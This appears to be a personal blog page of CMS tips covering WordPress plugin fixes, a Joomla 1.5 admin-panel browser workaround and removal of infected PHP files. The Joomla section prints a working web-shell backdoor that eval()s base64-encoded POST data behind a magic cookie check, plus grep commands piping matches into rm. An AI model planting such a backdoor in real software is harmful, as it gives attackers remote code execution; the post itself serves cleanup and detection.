Making SyntaxHighlighter plugin display “>” symbol correctly.
My SyntaxHighlighter plugin started to display “>” as “ = & g t ;” after I updated my WordPress to a version where blocks were added. To fix the plugin I added the following line to wp-content/plugins/syntaxhighlighter/syntaxhighlighter.php:
$code = preg_replace( '#<pre [^>]+>([^<]+)?</pre>#', '$1', $content );
// Undo escaping done by WordPress
$code = htmlspecialchars_decode( $code );
return $this->shortcode_callback( $attributes, $code, 'code' );

How I removed infected PHP files from Joomla 1.5 wesite.
I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';

grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
What browser can work with Joomla 1.5 administrator panel?
Today I updated my FireFox browser and Joomla 1.5x administrator panel stopped working in it. Looks like Joomla 1.5x administrator panel contains some staff that prevents it from working in all modern browsers except Internet Explorer, or at least Internet Explorer is the only browser that displays message “Only secure content is displayed.” and button “Show All Content” enabling some insecure mode. To eliminate the need of pressing this button each time I open new page in administrator panel I went to “Internet Options->Security Tab->Miscellaneous->Display mixed content” and chose “Enable”:

Adding footers and meta tags to WordPress posts
Adding post footer
There are a lot of plugins for adding footers to WordPress posts and one of them is so called “Add Post URL” plugin written by some Chinese guys. From my perspective, its benefits includes macros support and ability to decide whether or not to display the footer for each post individually. It worked fine for me and I even improved it a little bit. The following code snippet shows how I added “post_id” macro:
$footer_text = $posturl_options['footer_text'];
$footer_text = trim($footer_text);
if (!empty($footer_text))
{
//remove_filter( 'the_content', 'wpautop' );
$post_id = get_the_ID();
$footer_text = str_replace("%post_id%", $post_id, $footer_text);
$footer_text = str_replace("%site_url%", site_url('/'), $footer_text);
$footer_text = str_replace("%site_name%", get_bloginfo('sitename'), $footer_text);
$footer_text = str_replace("%post_url%", get_permalink(), $footer_text);
$footer_text = str_replace("%post_title%", the_title('', '', false), $footer_text);
$footer_text = stripslashes($footer_text);
$text .= $footer_text;
}
